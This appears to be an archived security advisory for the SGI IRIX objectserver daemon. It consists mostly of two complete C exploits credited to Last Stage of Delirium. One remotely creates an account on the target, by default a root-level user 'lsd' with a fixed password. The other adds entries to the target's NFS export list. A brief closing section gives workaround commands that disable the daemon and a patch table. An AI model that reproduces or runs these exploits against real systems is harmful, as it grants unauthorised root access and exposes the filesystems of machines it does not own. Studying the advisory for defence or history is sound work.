COMMAND
objectserver
SYSTEMS AFFECTED
IRIX 5.3...6.2
PROBLEM
Originally this was noted by Howard M. Kash III. Marcy Abene
posted following. It's the remote exploit for Irix objectserver
(udp 5135).
/* Copyright (c) July 1997 Last Stage of Delirium */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */
/* Last Stage of Delirium */
/* */
/* The contents of this file may be disclosed to third */
/* parties, copied and duplicated in any form, in whole */
/* or in part, without the prior written consent of LSD. */
/* SGI objectserver "account" exploit
*/
/* Remotely adds account to the IRIX system.
*/
/* Tested on IRIX 5.2, 5.3, 6.0.1, 6.1 and even 6.2,
*/
/* which was supposed to be free from this bug (SGI 19960101-01-PX).
*/
/* The vulnerability "was corrected" on 6.2 systems but
*/
/* SGI guys fucked up the job and it still can be exploited.
*/
/* The same considers patched 5.x,6.0.1 and 6.1 systems
*/
/* where SGI released patches DONT work.
*/
/* The only difference is that root account creation is blocked.
*/
/*
*/
/* usage: ob_account ipaddr [-u username] [-i userid] [-p]
*/
/* -i specify userid (other than 0)
*/
/* -u change the default added username
*/
/* -p probe if there's the objectserver running
*/
/*
*/
/* default account added : lsd
*/
/* default password : m4c10r4!
*/
/* default user home directory : /tmp/.new
*/
/* default userid : 0
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/uio.h>
#include <errno.h>
#include <stdio.h>
#define E if(errno) perror("");
struct iovec iov[2];
struct msghdr msg;
char buf1[1024],buf2[1024];
int sck;
unsigned long adr;
void show_msg(){
char *p,*p1;
int i,j,c,d;
c=0;
printf("%04x ",iov[0].iov_len);
p=(char*)iov[0].iov_base;
for(i=0;i<iov[0].iov_len;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
if(msg.msg_iovlen!=2) return;
c=0;
p=(char*)iov[0].iov_base;
d=p[0x0a]*0x100+p[0x0b];
p=(char*)iov[1].iov_base;
printf("%04x ",d);
for(i=0;i<d;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
fflush(stdout);
}
char numer_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00
};
char numer_two[0x24]={
0x21,0x03,0x00,0x43,0x00,0x0a,0x00,0x0a,
0x01,0x01,0x3b,0x01,0x6e,0x00,0x00,0x80,
0x43,0x01,0x01,0x18,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x02,0x01,0x03,0x00,0x01,
0x01,0x07,0x01,0x01
};
char dodaj_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x01,0x2a,0x00,0x00,0x00,0x00
};
char dodaj_two[1024]={
0x1c,0x03,0x00,0x43,0x02,0x01,0x1d,0x0a,
0x01,0x01,0x3b,0x01,0x78
};
char dodaj_three[27]={
0x01,0x02,0x0a,0x01,0x01,0x3b,
0x01,0x78,0x00,0x00,0x80,0x43,0x01,0x10,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x01,0x01,0x09,0x43,0x01
};
char dodaj_four[200]={
0x17,0x0b,0x01,0x01,0x3b,0x01,0x02,
0x01,0x01,0x01,0x09,0x43,0x01,0x03,0x4c,
0x73,0x44,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x06,0x01,0x09,0x43,0x00,0x17,
0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,0x07,
0x01,0x09,0x43,0x00,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x02,0x01,0x03,0x01,0x09,0x43,
0x00,0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,
0x01,0x09,0x01,0x09,0x43,0x00,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x0d,0x01,
0x09,0x43,0x00,0x17,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x10,0x01,0x09,0x43,0x00,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0a,0x01,0x09,0x43,0x00,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x0e,0x01,0x03,
0x01,0x09,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x04,0x01,0x09,0x43,0x01,0x0d,
0x61,0x6b,0x46,0x4a,0x64,0x78,0x65,0x6e,
0x4b,0x6e,0x79,0x53,0x2e,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x11,0x01,0x09,
0x43,0x01,0x09,0x2f,0x74,0x6d,0x70,0x2f,
0x2e,0x6e,0x65,0x77,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x6e,0x01,0x12,0x01,0x09,0x43,
0x01,0x04,0x72,0x6f,0x6f,0x74,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x02,0x01,
0x03
};
char dodaj_five[39]={
0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x13,0x01,0x09,0x43,0x01,0x08,
0x2f,0x62,0x69,0x6e,0x2f,0x63,0x73,0x68,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0f,0x01,0x09,0x43,0x01,0x03,'L','S','D'
};
char fake_adrs[0x10]={
0x00,0x02,0x14,0x0f,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char *get_sysinfo(){
int i=0,j,len;
iov[0].iov_base=numer_one;
iov[0].iov_len=0x10;
iov[1].iov_base=numer_two;
iov[1].iov_len=0x24;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",len=recvmsg(sck,&msg,0));
show_msg();
printf("\n");
while(i<len-0x16)
if(!memcmp("\x0a\x01\x01\x3b\x01\x78",&buf2[i],6)){
printf("remote system ID: ");
for(j=0;j<buf2[i+6];j++) printf("%02x ",buf2[i+7+j]);
printf("\n");
return(&buf2[i+6]);
}else i++;
return(0);
}
void new_account(int len){
iov[0].iov_base=dodaj_one;
iov[0].iov_len=0x10;
iov[1].iov_base=dodaj_two;
iov[1].iov_len=len;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",recvmsg(sck,&msg,0)); show_msg();
printf("\n");
}
void info(char *text){
printf("SGI objectserver \"account\" exploit by LSD\n");
printf("usage: %s ipaddr [-u username] [-i userid] [-p]\n",text);
}
main(int argc,char **argv){
int c,user,version,probe;
unsigned int offset,gr_offset,userid;
char *sys_info;
char username[20];
extern char *optarg;
extern int optind;
if(argc<2) {info(argv[0]);exit(0);}
optind=2;
offset=40;
user=version=probe=0;
while((c=getopt(argc,argv,"u:i:p"))!=-1)
switch(c){
case 'u': strcpy(username,optarg);
user=1;
break;
case 'i': version=62;
userid=atoi(optarg);
break;
case 'p': probe=1;
break;
case '?':
default : info(argv[0]);
exit(1);
}
sck=socket(AF_INET,SOCK_DGRAM,0);
adr=inet_addr(argv[1]);
memcpy(&fake_adrs[4],&adr,4);
if(!(sys_info=get_sysinfo())){
printf("error: can't get system ID for %s.\n",argv[1]);
exit(1);
}
if(!probe){
memcpy(&dodaj_two[0x0d],sys_info,sys_info[0]+1);
memcpy(&dodaj_two[0x0d+sys_info[0]+1],&dodaj_three[0],27);
offset+=sys_info[0]+1;
if(!user) strcpy(username,"lsd");
dodaj_two[offset++]=strlen(username);
strcpy(&dodaj_two[offset],username);offset+=strlen(username);
memcpy(&dodaj_two[offset],&dodaj_four[0],200);
offset+=200;
gr_offset=offset-15;
if(version){
dodaj_two[gr_offset++]='u';
dodaj_two[gr_offset++]='s';
dodaj_two[gr_offset++]='e';
dodaj_two[gr_offset++]='r';
dodaj_two[offset++]=0x02;
dodaj_two[offset++]=userid>>8;
dodaj_two[offset++]=userid&0xff;
}
else dodaj_two[offset++]=0x00;
memcpy(&dodaj_two[offset],&dodaj_five[0],39);
offset+=39;
dodaj_one[10]=offset>>8;
dodaj_one[11]=offset&0xff;
new_account(offset);
}
}
/* end g23 exploit post */
For those who found LSD's objectserver account exploit useful
LSD also recommend it's second version which may be of some use
in a TCP wrapped environments:
/*## copyright LAST STAGE OF DELIRIUM jul 1997 poland *://lsd-pl.net/ #*/
/*## objectserver #*/
/* SGI objectserver "export" exploit */
/* Remotely adds new entry to the export list on the IRIX system. */
/* See our SGI objectserver "account" exploit for more information. */
/* Only directories that aren't supersets of already exported ones */
/* can be added to the export list. */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/uio.h>
#include <errno.h>
#include <stdio.h>
#define E if(errno) perror("");
struct iovec iov[2];
struct msghdr msg;
char buf1[1024],buf2[1024];
int sck;
unsigned long adr;
void show_msg(){
char *p,*p1;
int i,j,c,d;
c=0;
printf("%04x ",iov[0].iov_len);
p=(char*)iov[0].iov_base;
for(i=0;i<iov[0].iov_len;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
if(msg.msg_iovlen!=2) return;
c=0;
p=(char*)iov[0].iov_base;
d=p[0x0a]*0x100+p[0x0b];
p=(char*)iov[1].iov_base;
printf("%04x ",d);
for(i=0;i<d;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
fflush(stdout);
}
char numer_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00
};
char numer_two[0x24]={
0x21,0x03,0x00,0x43,0x00,0x0a,0x00,0x0a,
0x01,0x01,0x3b,0x01,0x6e,0x00,0x00,0x80,
0x43,0x01,0x01,0x18,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x02,0x01,0x03,0x00,0x01,
0x01,0x07,0x01,0x01
};
char dodaj_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x01,0x2a,0x00,0x00,0x00,0x00
};
char dodaj_two[1024]={
0x1c,0x03,0x00,0x43,0x01,0x04,0x0a,0x01,
0x01,0x3b,0x01,0x78
};
char dodaj_three[27]={
0x01,0x02,0x0a,0x01,0x01,0x3b,0x01,
0xd2,0x00,0x00,0x80,0x43,0x01,0x04,0x17,
0x0b,0x01,0x01,0x3b,0x01,0x02,0x01,0x01,
0x01,0x09,0x43,0x01
};
char dodaj_four[47]={
0x17,0x0b,0x01,0x01,0x3b,0x01,0xd2,
0x01,0x04,0x01,0x09,0x43,0x01,0x04,0x72,
0x6f,0x6f,0x74,0x17,0x0b,0x01,0x01,0x3b,
0x01,0xd2,0x01,0x08,0x01,0x07,0x01,0x01,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x01,0x01,
0x01,0x01,0x0f,0x02,0xff,0xff,0xff,0xff
};
char fake_adrs[0x10]={
0x00,0x02,0x14,0x0f,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char *get_sysinfo(){
int i=0,j,len;
iov[0].iov_base=numer_one;
iov[0].iov_len=0x10;
iov[1].iov_base=numer_two;
iov[1].iov_len=0x24;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",len=recvmsg(sck,&msg,0)); show_msg();
printf("\n");
while(i<len-0x16)
if(!memcmp("\x0a\x01\x01\x3b\x01\x78",&buf2[i],6)){
printf("remote system ID: ");
for(j=0;j<buf2[i+6];j++) printf("%02x ",(unsigned char)buf2[i+7+j]);
printf("\n");
return(&buf2[i+6]);
}else i++;
return(0);
}
void new_export(int len){
iov[0].iov_base=dodaj_one;
iov[0].iov_len=0x10;
iov[1].iov_base=dodaj_two;
iov[1].iov_len=len;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",recvmsg(sck,&msg,0)); show_msg();
printf("\n");
}
void info(char *text) {
printf("usage: %s address directory\n",text);
}
main(int argc,char **argv){
int probe=0;
unsigned int offset;
char *sys_info;
printf("copyright LAST STAGE OF DELIRIUM jul 1997 poland //lsd-pl.net/\n");
printf("objectserver for irix 5.2 5.3 6.2\n\n");
if(argc<2) {info(argv[0]);exit(0);}
else if(argc==2) probe=1;
offset=39;
adr=inet_addr(argv[1]);
sck=socket(AF_INET,SOCK_DGRAM,0);
memcpy(&fake_adrs[4],&adr,4);
memcpy(&dodaj_four[43],&adr,4);
if(!(sys_info=get_sysinfo())){
printf("error: can't get system ID for %s.\n",argv[1]);
exit(1);
}
if(!probe){
memcpy(&dodaj_two[0x0c],sys_info,sys_info[0]+1);
memcpy(&dodaj_two[0x0c+sys_info[0]+1],&dodaj_three[0],27);
offset+=sys_info[0]+1;
dodaj_two[offset++]=strlen(argv[2]);
memcpy(&dodaj_two[offset],argv[2],strlen(argv[2]));
offset+=strlen(argv[2]);
memcpy(&dodaj_two[offset],&dodaj_four[0],47);
offset+=47;
dodaj_one[10]=offset>>8;
dodaj_one[11]=offset&0xff;
new_export(offset);
}else printf("error: no directory specified.\n");
}
SOLUTION
Although patches are available for this issue, it is realized that
there may be situations where installing the patches immediately
may not be possible. The steps below can be used to disable the
objectserver(1M) daemon to prevent exploitation of this
vulnerability until patches can be installed.
Disabling the objectserver daemon will disable the Cadmin system
administration tools:
% /bin/su -
Password:
#
# /sbin/chkconfig objectserver off
# /etc/init.d/cadmin stop; /etc/init.d/cadmin start
# exit
%
Solution:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x no Note 1
IRIX 4.x no Note 1
IRIX 5.0.x not tested Note 1 & 3
IRIX 5.1.x not tested Note 1 & 3
IRIX 5.2 not tested Note 1 & 3
IRIX 5.3 yes 3654 Note 1 & 3
IRIX 6.0.x not tested Note 1 & 3
IRIX 6.1 not tested Note 1 & 3
IRIX 6.2 yes 2849 Note 2 & 3
IRIX 6.3 no Note 1
IRIX 6.4 no Note 1
IRIX 6.5.X no
Notes: 1) This version of the IRIX operating has been retired.
Upgrade to an actively supported IRIX operating system.
See http://support.sgi.com/irix/news/index.html#policy
for more information.
2) This version of the IRIX operating system is in
maintenance mode. Upgrade to an actively supported
IRIX operating system. See
http://support.sgi.com/irix/news/index.html#policy for
more information.
3) See workarounds above.